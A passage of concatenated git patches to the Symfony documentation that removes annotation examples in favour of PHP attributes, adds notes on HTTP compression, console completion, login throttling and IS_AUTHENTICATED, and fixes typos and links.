-annotations but they can also be defined as ``.yaml`` or ``.xml`` files inside
+attributes but they can also be defined as ``.yaml`` or ``.xml`` files inside
 the ``config/validator/`` directory:
 
 For example, to indicate that the ``$name`` property must not be empty, add the
@@ -69,22 +62,6 @@ following:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        // ...
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\NotBlank
-             */
-            private $name;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
@@ -299,27 +276,6 @@ literature genre mostly associated with the author, which can be set to either
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        // ...
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Choice(
-             *     choices = {"fiction", "non-fiction"},
-             *     message = "Choose a valid genre."
-             * )
-             */
-            private $genre;
-
-            // ...
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
@@ -407,24 +363,6 @@ options can be specified in this way.
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        // ...
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Choice({"fiction", "non-fiction"})
-             */
-            private $genre;
-
-            // ...
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
@@ -547,22 +485,6 @@ class to have at least 3 characters.
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-
-        // ...
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\NotBlank
-             * @Assert\Length(min=3)
-             */
-            private $firstName;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
@@ -654,25 +576,6 @@ this method must return ``true``:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        // ...
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\IsTrue(message="The password cannot match your first name")
-             */
-            public function isPasswordSafe()
-            {
-                // ... return true or false
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 0bec5c88c8b..3e2ca6dd2b9 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -127,27 +127,6 @@ You can use custom validators like the ones provided by Symfony itself:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/AcmeEntity.php
-        namespace App\Entity;
-
-        use App\Validator as AcmeAssert;
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class AcmeEntity
-        {
-            // ...
-
-            /**
-             * @Assert\NotBlank
-             * @AcmeAssert\ContainsAlphanumeric(mode="loose")
-             */
-            protected $name;
-
-            // ...
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/AcmeEntity.php
@@ -275,7 +254,7 @@ not to the property:
         namespace App\Entity;
 
         use App\Validator as AcmeAssert;
-        
+
         /**
          * @AcmeAssert\ProtocolClass
          */
diff --git a/validation/groups.rst b/validation/groups.rst
index 60aa7efb2f2..8389d5fe238 100644
--- a/validation/groups.rst
+++ b/validation/groups.rst
@@ -15,33 +15,6 @@ user registers and when a user updates their contact information later:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/User.php
-        namespace App\Entity;
-
-        use Symfony\Component\Security\Core\User\UserInterface;
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class User implements UserInterface
-        {
-            /**
-             * @Assert\Email(groups={"registration"})
-             */
-            private $email;
-
-            /**
-             * @Assert\NotBlank(groups={"registration"})
-             * @Assert\Length(min=7, groups={"registration"})
-             */
-            private $password;
-
-            /**
-             * @Assert\Length(min=2)
-             */
-            private $city;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/User.php
diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst
index fb196a3b6e9..1ebd33affcc 100644
--- a/validation/sequence_provider.rst
+++ b/validation/sequence_provider.rst
@@ -15,38 +15,6 @@ username and the password are different only if all other validation passes
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/User.php
-        namespace App\Entity;
-
-        use Symfony\Component\Security\Core\User\UserInterface;
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        /**
-         * @Assert\GroupSequence({"User", "Strict"})
-         */
-        class User implements UserInterface
-        {
-            /**
-             * @Assert\NotBlank
-             */
-            private $username;
-
-            /**
-             * @Assert\NotBlank
-             */
-            private $password;
-
-            /**
-             * @Assert\IsTrue(message="The password cannot match your username", groups={"Strict"})
-             */
-            public function isPasswordSafe()
-            {
-                return ($this->username !== $this->password);
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/User.php
@@ -206,31 +174,6 @@ entity and a new constraint group called ``Premium``:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/User.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class User
-        {
-            /**
-             * @Assert\NotBlank
-             */
-            private $name;
-
-            /**
-             * @Assert\CardScheme(
-             *     schemes={"VISA"},
-             *     groups={"Premium"},
-             * )
-             */
-            private $creditCard;
-
-            // ...
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/User.php
@@ -352,21 +295,6 @@ provides a sequence of groups to be validated:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/User.php
-        namespace App\Entity;
-
-        // ...
-
-        /**
-         * @Assert\GroupSequenceProvider
-         */
-        class User implements GroupSequenceProviderInterface
-        {
-            // ...
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/User.php
diff --git a/validation/severity.rst b/validation/severity.rst
index 7df7746c7f2..3cb58ca1e7f 100644
--- a/validation/severity.rst
+++ b/validation/severity.rst
@@ -25,31 +25,6 @@ Use the ``payload`` option to configure the error level for each constraint:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/User.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class User
-        {
-            /**
-             * @Assert\NotBlank(payload={"severity"="error"})
-             */
-            protected $username;
-
-            /**
-             * @Assert\NotBlank(payload={"severity"="error"})
-             */
-            protected $password;
-
-            /**
-             * @Assert\Iban(payload={"severity"="warning"})
-             */
-            protected $bankAccountNumber;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/User.php
diff --git a/validation/translations.rst b/validation/translations.rst
index 10ce5b11275..ff8340466d6 100644
--- a/validation/translations.rst
+++ b/validation/translations.rst
@@ -32,21 +32,6 @@ property is not empty, add the following:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\NotBlank(message="author.name.not_blank")
-             */
-            public $name;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php

From 2802fe680997409729572f12c7a930423f132fee Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 22 Aug 2022 17:35:35 +0200
Subject: [PATCH 3611/7107] Expanding on HTTP compression

I moved the note downwards, because two things should be explained before it:
* cURL and Native Client
* How to send an HTTP header
Besides, it not that important to have it explained right on top; and it fits nicely in the "Performance" section.

The info is taken from https://github.com/symfony/symfony-docs/issues/17216#issuecomment-1222494905
---
 http_client.rst | 20 +++++++++++++++-----
 1 file changed, 15 insertions(+), 5 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 17a31627844..9cc534f00db 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -373,11 +373,6 @@ immediately instead of waiting to receive the response::
 This component also supports :ref:`streaming responses <http-client-streaming-responses>`
 for full asynchronous applications.
 
-.. note::
-
-    HTTP compression and chunked transfer encoding are automatically enabled when
-    both your PHP runtime and the remote server support them.
-
 Authentication
 ~~~~~~~~~~~~~~
 
@@ -758,6 +753,20 @@ When using this component in a full-stack Symfony application, this behavior is
 not configurable and cURL will be used automatically if the cURL PHP extension
 is installed and enabled. Otherwise, the native PHP streams will be used.
 
+HTTP Compression
+~~~~~~~~~~~~~~~~
+
+A HTTP header ``Accept-Encoding: gzip`` is added automatically if ...
+
+* cURL Client: ... cURL was compiled with ZLib support (see ``php --ri curl``)
+* Native Http Client: ... `Zlib PHP extension`_ is installed
+
+If the server does respond with a gzipped response, it's decoded transparently.
+
+To disable HTTP compression, send an ``Accept-Encoding: identity`` HTTP header.
+
+Chunked transfer encoding is enabled automatically if both your PHP runtime and the remote server supports it.
+
 HTTP/2 Support
 ~~~~~~~~~~~~~~
 
@@ -1571,6 +1580,7 @@ test it in a real application::
     }
 
 .. _`cURL PHP extension`: https://www.php.net/curl
+.. _`Zlib PHP extension`: https://www.php.net/zlib
 .. _`PSR-17`: https://www.php-fig.org/psr/psr-17/
 .. _`PSR-18`: https://www.php-fig.org/psr/psr-18/
 .. _`HTTPlug`: https://github.com/php-http/httplug/#readme

From cee427a6d268ac82412e895cb78d9b6501896231 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9goire=20Pineau?= <lyrixx@lyrixx.info>
Date: Wed, 17 Aug 2022 11:38:22 +0200
Subject: [PATCH 3612/7107] [Workflow] Remove doc about Registry and tell about
 tags

---
 workflow.rst | 26 +++++++++-----------------
 1 file changed, 9 insertions(+), 17 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 64035c1bd86..ff5b6c4dc5b 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -265,27 +265,19 @@ machine type, use ``camelCased workflow name + StateMachine``::
         }
     }
 
-Alternatively, use the registry::
+.. versionadded:: 6.2
 
-    use App\Entity\BlogPost;
-    use Symfony\Component\Workflow\Registry;
-
-    class MyClass
-    {
-        private $workflowRegistry;
+    All workflows and state machines services are tagged since in Symfony 6.2.
 
-        public function __construct(Registry $workflowRegistry)
-        {
-            $this->workflowRegistry = $workflowRegistry;
-        }
+.. tip::
 
-        public function toReview(BlogPost $post)
-        {
-            $blogPublishingWorkflow = $this->workflowRegistry->get($post);
+    If you want to retrieve all workflows, for documentation purposes for example,
+    you can :doc:`inject all services </service_container/service_subscribers_locators>`
+    with the following tag:
 
-            // ...
-        }
-    }
+    * ``workflow``: all workflows and all state machine;
+    * ``workflow.workflow``: all workflows;
+    * ``workflow.state_machine``: all state machines.
 
 .. tip::
 

From f614f162f99db8fea2c229cde88ef3a8eaa44827 Mon Sep 17 00:00:00 2001
From: MatTheCat <math.lechat@gmail.com>
Date: Fri, 19 Aug 2022 16:16:24 +0200
Subject: [PATCH 3613/7107] Clarify which branch should be chosen for a patch

---
 contributing/code/pull_requests.rst | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 415b8e2dd96..4364190bcde 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -124,10 +124,11 @@ Choose the right Branch
 Before working on a PR, you must determine on which branch you need to
 work:
 
-* ``4.4``, if you are fixing a bug for an existing feature or want to make a
-  change that falls into the :doc:`list of acceptable changes in patch versions
-  </contributing/code/maintenance>` (you may have to choose a higher branch if
-  the feature you are fixing was introduced in a later version);
+* If you are fixing a bug for an existing feature or want to make a change
+  that falls into the :doc:`list of acceptable changes in patch versions
+  </contributing/code/maintenance>`, pick the oldest concerned maintained
+  branch (you can find them on the `Symfony releases page`_). E.g. if you
+  found a bug introduced in ``v5.1.10``, you need to work on ``5.4``.
 
 * ``6.2``, if you are adding a new feature.
 
@@ -520,6 +521,7 @@ before merging.
 .. _GitHub: https://github.com/join
 .. _`GitHub's documentation`: https://help.github.com/github/using-git/ignoring-files
 .. _Symfony repository: https://github.com/symfony/symfony
+.. _Symfony releases page: https://symfony.com/releases#maintained-symfony-branches
 .. _`documentation repository`: https://github.com/symfony/symfony-docs
 .. _`fabbot`: https://fabbot.io
 .. _`Psalm`: https://psalm.dev/

From b85ecbc0bd7922d180be360fbdd5646b8db126eb Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 14 Aug 2022 23:12:24 +0200
Subject: [PATCH 3614/7107] Shortening code block for PHP

---
 security.rst | 32 ++++++++------------------------
 1 file changed, 8 insertions(+), 24 deletions(-)

diff --git a/security.rst b/security.rst
index 2cf429e6dd4..b12efbf3715 100644
--- a/security.rst
+++ b/security.rst
@@ -1396,14 +1396,10 @@ You must enable this using the ``login_throttling`` setting:
                     # by default, the feature allows 5 login attempts per minute
                     login_throttling: null
 
-                    # configure the maximum login attempts (per minute)
+                    # configure the maximum login attempts
                     login_throttling:
-                        max_attempts: 3
-
-                    # configure the maximum login attempts in a custom period of time
-                    login_throttling:
-                        max_attempts: 3
-                        interval: '15 minutes'
+                        max_attempts: 3          # per minute ...
+                        # interval: '15 minutes' # ... or in a custom period
 
                     # use a custom rate limiter via its service ID
                     login_throttling:
@@ -1426,13 +1422,9 @@ You must enable this using the ``login_throttling`` setting:
                 <!-- ... -->
 
                 <firewall name="main">
-                    <!-- by default, the feature allows 5 login attempts per minute -->
-                    <login-throttling/>
-
-                    <!-- configure the maximum login attempts (per minute) -->
-                    <login-throttling max-attempts="3"/>
-
-                    <!-- configure the maximum login attempts in a custom period of time -->
+                    <!-- by default, the feature allows 5 login attempts per minute
+                         max-attempts: (optional) You can configure the maximum attempts ...
+                         interval:     (optional) ... and the period of time. -->
                     <login-throttling max-attempts="3" interval="15 minutes"/>
 
                     <!-- use a custom rate limiter via its service ID -->
@@ -1452,17 +1444,9 @@ You must enable this using the ``login_throttling`` setting:
             $mainFirewall = $security->firewall('main');
 
             // by default, the feature allows 5 login attempts per minute
-            $mainFirewall->loginThrottling();
-
-            // configure the maximum login attempts (per minute)
-            $mainFirewall->loginThrottling()
-                ->maxAttempts(3)
-            ;
-
-            // configure the maximum login attempts in a custom period of time
             $mainFirewall->loginThrottling()
-                ->maxAttempts(3)
-                ->interval('15 minutes')
+                // ->maxAttempts(3)         // Optional: You can configure the maximum attempts ...
+                // ->interval('15 minutes') // ... and the period of time.
             ;
         };
 

From 4018bd6a07421b8e3fe1243fbbb830964715bada Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 23 Aug 2022 13:32:27 +0200
Subject: [PATCH 3615/7107] Make console completion docs more generic

---
 console.rst | 29 ++++++++++++++---------------
 1 file changed, 14 insertions(+), 15 deletions(-)

diff --git a/console.rst b/console.rst
index 20476e88206..acf283386fa 100644
--- a/console.rst
+++ b/console.rst
@@ -63,26 +63,24 @@ Console Completion
 
     Console completion for Fish was introduced in Symfony 6.1.
 
-If you are using the Bash shell, you can install Symfony's completion
-script to get auto completion when typing commands in the terminal. All
-commands support name and option completion, and some can even complete
-values.
+If you are using the Bash or Fish shell, you can install Symfony's
+completion script to get auto completion when typing commands in the
+terminal. All commands support name and option completion, and some can
+even complete values.
 
 .. image:: /_images/components/console/completion.gif
 
-First, make sure you installed and setup the "bash completion" package for
-your OS (typically named ``bash-completion``). Then, install the Symfony
-completion bash script *once* by running the ``completion`` command in a
-Symfony app installed on your computer:
+First, you have to install the completion script *once*. Run
+``bin/console completion --help`` for the installation instructions for
+your shell.
 
-.. code-block:: terminal
+.. note::
 
-    $ php bin/console completion bash | sudo tee /etc/bash_completion.d/console-events-terminate
-    # after the installation, restart the shell
+    When using Bash, make sure you installed and setup the "bash completion"
+    package for your OS (typically named ``bash-completion``).
 
-Now you are all set to use the auto completion for all Symfony Console
-applications on your computer. By default, you can get a list of complete
-options by pressing the Tab key.
+After installing and restarting your terminal, you're all set to use
+completion (by default, by pressing the Tab key).
 
 .. tip::
 
@@ -92,7 +90,8 @@ options by pressing the Tab key.
 
     .. code-block:: terminal
 
-        $ php vendor/bin/phpstan completion bash | sudo tee /etc/bash_completion.d/phpstan
+        $ php vendor/bin/phpstan completion --help
+        $ composer completion --help
 
 Creating a Command
 ------------------

From 5d14c8f16cc8a5d02ff77613e8ec3fb4f2738fc0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 1 Aug 2022 16:45:00 +0200
Subject: [PATCH 3616/7107] [Console] Mention that autocompletion is also
 available for Zsh shell

---
 console.rst       | 6 +++++-
 page_creation.rst | 2 +-
 2 files changed, 6 insertions(+), 2 deletions(-)

diff --git a/console.rst b/console.rst
index acf283386fa..5f5f8f9baeb 100644
--- a/console.rst
+++ b/console.rst
@@ -63,7 +63,11 @@ Console Completion
 
     Console completion for Fish was introduced in Symfony 6.1.
 
-If you are using the Bash or Fish shell, you can install Symfony's
+.. versionadded:: 6.2
+
+    Console completion for Zsh was introduced in Symfony 6.2.
+
+If you are using the Bash, Zsh or Fish shell, you can install Symfony's
 completion script to get auto completion when typing commands in the
 terminal. All commands support name and option completion, and some can
 even complete values.
diff --git a/page_creation.rst b/page_creation.rst
index 9d065c6a07e..c590d822a39 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -181,7 +181,7 @@ You'll learn about many more commands as you continue!
 
 .. tip::
 
-    If you are using the Bash or Fish shell, you can set up completion support.
+    If your shell is supported, you can also set up console completion support.
     This autocompletes commands and other input when using ``bin/console``.
     See :ref:`the Console document <console-completion-setup>` for more
     information on how to set up completion.

From 5dbab03b2d407d7665a4469d5e89a514afb1dcea Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 23 Aug 2022 14:08:28 +0200
Subject: [PATCH 3617/7107] add missing attributes code block

---
 reference/constraints/Collection.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/reference/constraints/Collection.rst b/reference/constraints/Collection.rst
index e708511d309..62595aef75e 100644
--- a/reference/constraints/Collection.rst
+++ b/reference/constraints/Collection.rst
@@ -239,6 +239,29 @@ you can do the following:
             protected $profileData = ['personal_email' => 'email@example.com'];
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Collection(
+                fields: [
+                    'personal_email' => new Assert\Required([
+                        new Assert\NotBlank,
+                        new Assert\Email,
+                    ]),
+                    'alternate_email' => new Assert\Optional(
+                        new Assert\Email
+                    ),
+                ],
+            )]
+            protected $profileData = ['personal_email' => 'email@example.com'];
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml

From a82cc31d976c33335eaf180cad2e75b9e1d37757 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 23 Aug 2022 14:44:56 +0200
Subject: [PATCH 3618/7107] Remove annotations from constraint examples added
 in 6.1

---
 reference/constraints/ExpressionSyntax.rst | 22 ----------------------
 reference/constraints/Unique.rst           | 15 ---------------
 2 files changed, 37 deletions(-)

diff --git a/reference/constraints/ExpressionSyntax.rst b/reference/constraints/ExpressionSyntax.rst
index 3d0ef55f018..45a633867d7 100644
--- a/reference/constraints/ExpressionSyntax.rst
+++ b/reference/constraints/ExpressionSyntax.rst
@@ -28,28 +28,6 @@ The following constraints ensure that:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Order.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Order
-        {
-            /**
-             * @Assert\ExpressionSyntax
-             */
-            protected $promotion;
-
-            /**
-             * @Assert\ExpressionSyntax(
-             *     allowedVariables={"user", "shipping_centers"}
-             * )
-             */
-            protected $shippingOptions;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Order.php
diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index a3af3f6b94e..4c5c5945e76 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -109,21 +109,6 @@ collection::
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Poi.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Poi
-        {
-            /**
-             * @Assert\Unique(fields={"latitude", "longitude"})
-             */
-            protected $coordinates;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Poi.php

From 9f3b1474992b02be7130f3dd38aae3b37353f79a Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 15 Jul 2022 15:56:12 +0200
Subject: [PATCH 3619/7107] Adding that you cannot access a session inside a
 constructor

---
 session.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/session.rst b/session.rst
index 2898ba5d70b..9ee5ebea31e 100644
--- a/session.rst
+++ b/session.rst
@@ -149,6 +149,10 @@ if you type-hint an argument with :class:`Symfony\\Component\\HttpFoundation\\Re
         public function __construct(RequestStack $requestStack)
         {
             $this->requestStack = $requestStack;
+
+            // Accessing the session in the constructor is *NOT* reommended, since
+            // it might not be accessible yet or lead to unwanted side-effects
+            // $this->session = $requestStack->getSession();
         }
 
         public function someMethod()

From f516983b938f2dc93e96670b01958e75669a7fbc Mon Sep 17 00:00:00 2001
From: Artyum Petrov <artyum@protonmail.com>
Date: Tue, 23 Aug 2022 23:47:26 +0400
Subject: [PATCH 3620/7107] Added documentation for IS_AUTHENTICATED

---
 security.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/security.rst b/security.rst
index b24ba9eb577..4dd3be97ada 100644
--- a/security.rst
+++ b/security.rst
@@ -2418,19 +2418,19 @@ Secondly, you can use a special "attribute" in place of a role::
 
     public function adminDashboard(): Response
     {
-        $this->denyAccessUnlessGranted('IS_AUTHENTICATED_FULLY');
+        $this->denyAccessUnlessGranted('IS_AUTHENTICATED');
 
         // ...
     }
 
-You can use ``IS_AUTHENTICATED_FULLY`` anywhere roles are used: like
+You can use ``IS_AUTHENTICATED`` anywhere roles are used: like
 ``access_control`` or in Twig.
 
-``IS_AUTHENTICATED_FULLY`` isn't a role, but it kind of acts like one, and every
+``IS_AUTHENTICATED`` isn't a role, but it kind of acts like one, and every
 user that has logged in will have this. Actually, there are some special attributes
 like this:
 
-* ``IS_AUTHENTICATED_REMEMBERED``: *All* logged in users have this, even
+* ``IS_AUTHENTICATED_REMEMBERED``: Just like ``IS_AUTHENTICATED``, *all* logged in users have this, even
   if they are logged in because of a "remember me cookie". Even if you don't
   use the :doc:`remember me functionality </security/remember_me>`,
   you can use this to check if the user is logged in.

From 45c152a3f8c408947dc89574397a85d9d2acd682 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Tue, 23 Aug 2022 23:57:56 +0200
Subject: [PATCH 3621/7107] [Testing] Add link request method & add type hint

---
 testing.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/testing.rst b/testing.rst
index 22a530b52d9..f130dfbb06f 100644
--- a/testing.rst
+++ b/testing.rst
@@ -501,7 +501,7 @@ into your Symfony application::
 
     $crawler = $client->request('GET', '/post/hello-world');
 
-The ``request()`` method takes the HTTP method and a URL as arguments and
+The :method:`request() <Symfony\\Component\\BrowserKit\\AbstractBrowser::request>` method takes the HTTP method and a URL as arguments and
 returns a ``Crawler`` instance.
 
 .. tip::
@@ -513,14 +513,14 @@ returns a ``Crawler`` instance.
 The full signature of the ``request()`` method is::
 
     request(
-        $method,
-        $uri,
+        string $method,
+        string $uri,
         array $parameters = [],
         array $files = [],
         array $server = [],
-        $content = null,
-        $changeHistory = true
-    )
+        string $content = null,
+        bool $changeHistory = true
+    ): Crawler
 
 This allows you to create all types of requests you can think of:
 

From a73f29e61c17ab91027427ad48cbce6a5fc03a3b Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 24 Aug 2022 10:30:07 +0200
Subject: [PATCH 3622/7107] add hrtime() to the list of mocked PHP functions

---
 components/phpunit_bridge.rst | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 08ae5054d83..8884417d563 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -534,8 +534,13 @@ Clock Mocking
 
 The :class:`Symfony\\Bridge\\PhpUnit\\ClockMock` class provided by this bridge
 allows you to mock the PHP's built-in time functions ``time()``, ``microtime()``,
-``sleep()``, ``usleep()`` and ``gmdate()``. Additionally the function ``date()``
-is mocked so it uses the mocked time if no timestamp is specified.
+``sleep()``, ``usleep()``, ``gmdate()``, and ``hrtime()`. Additionally the
+function ``date()`` is mocked so it uses the mocked time if no timestamp is
+specified.
+
+.. versionadded:: 6.2
+
+    Support for mocking the ``hrtime()`` function was introduced in Symfony 6.2.
 
 Other functions with an optional timestamp parameter that defaults to ``time()``
 will still use the system time instead of the mocked time. This means that you

From 863dcbe15a89ee5f6fcc0327a5c95a1ba30aeec2 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 24 Aug 2022 13:53:54 +0200
Subject: [PATCH 3623/7107] fix typo

---
 components/intl.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/intl.rst b/components/intl.rst
index 57b8ef65927..9fe930b053b 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -368,7 +368,7 @@ Emoji Transliteration
 
 .. versionadded:: 6.2
 
-    The Empoji transliteration feature was introduced in Symfony 6.2.
+    The Emoji transliteration feature was introduced in Symfony 6.2.
 
 The ``EmojiTransliterator`` class provides an utility to translate emojis into
 their textual representation in all languages based on the `Unicode CLDR dataset`_::

From dbb34a472d23c3f3ef6d184d84f03ffd8a773d49 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 24 Aug 2022 13:55:03 +0200
Subject: [PATCH 3624/7107] fix typo

---
 components/intl.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/intl.rst b/components/intl.rst
index 9fe930b053b..1a8ae2bbf0b 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -370,7 +370,7 @@ Emoji Transliteration
 
     The Emoji transliteration feature was introduced in Symfony 6.2.
 
-The ``EmojiTransliterator`` class provides an utility to translate emojis into
+The ``EmojiTransliterator`` class provides a utility to translate emojis into
 their textual representation in all languages based on the `Unicode CLDR dataset`_::
 
     use Symfony\Component\Intl\Transliterator\EmojiTransliterator;

From e343163a34c944535c7d0a8db2f8dd7be8a785e1 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Wed, 24 Aug 2022 16:21:24 +0200
Subject: [PATCH 3625/7107] [Console] Remove $defaultName

Remove $defaultName and add clarification in the comment
---
 console.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/console.rst b/console.rst
index acf283386fa..a766c24c117 100644
--- a/console.rst
+++ b/console.rst
@@ -109,11 +109,10 @@ want a command to create a user::
     use Symfony\Component\Console\Output\OutputInterface;
 
     // the name of the command is what users type after "php bin/console"
+    // and it replaces the static $defaultName
     #[AsCommand(name: 'app:create-user')]
     class CreateUserCommand extends Command
     {
-        protected static $defaultName = 'app:create-user';
-
         protected function execute(InputInterface $input, OutputInterface $output): int
         {
             // ... put here the code to create the user

From 788d549a7ba519270221c4e6194b556a5fd9459d Mon Sep 17 00:00:00 2001
From: Christopher Georg <chris@sky-scripts.de>
Date: Fri, 26 Aug 2022 13:03:54 +0200
Subject: [PATCH 3626/7107] docs: fix links to phpunit docs

---
 best_practices.rst                | 2 +-
 create_framework/unit_testing.rst | 4 ++--
 form/unit_testing.rst             | 2 +-
 testing.rst                       | 6 +++---
 4 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 798cb08572d..865f7549fa3 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -458,4 +458,4 @@ you must set up a redirection.
 .. _`feature toggles`: https://en.wikipedia.org/wiki/Feature_toggle
 .. _`smoke testing`: https://en.wikipedia.org/wiki/Smoke_testing_(software)
 .. _`Webpack`: https://webpack.js.org/
-.. _`PHPUnit data providers`: https://phpunit.readthedocs.io/en/stable/writing-tests-for-phpunit.html#data-providers
+.. _`PHPUnit data providers`: https://phpunit.readthedocs.io/en/9.5/writing-tests-for-phpunit.html#data-providers
diff --git a/create_framework/unit_testing.rst b/create_framework/unit_testing.rst
index c3801481a3f..fa7a93b077f 100644
--- a/create_framework/unit_testing.rst
+++ b/create_framework/unit_testing.rst
@@ -220,6 +220,6 @@ Symfony code.
 Now that we are confident (again) about the code we have written, we can
 safely think about the next batch of features we want to add to our framework.
 
-.. _`PHPUnit`: https://phpunit.readthedocs.io/en/stable/
-.. _`test doubles`: https://phpunit.readthedocs.io/en/stable/test-doubles.html
+.. _`PHPUnit`: https://phpunit.readthedocs.io/en/9.5/
+.. _`test doubles`: https://phpunit.readthedocs.io/en/9.5/test-doubles.html
 .. _`XDebug`: https://xdebug.org/
diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index 2b56b2fe07d..7cdf01b8a60 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -243,4 +243,4 @@ guessers using the :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestC
 and :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestCase::getTypeGuessers`
 methods.
 
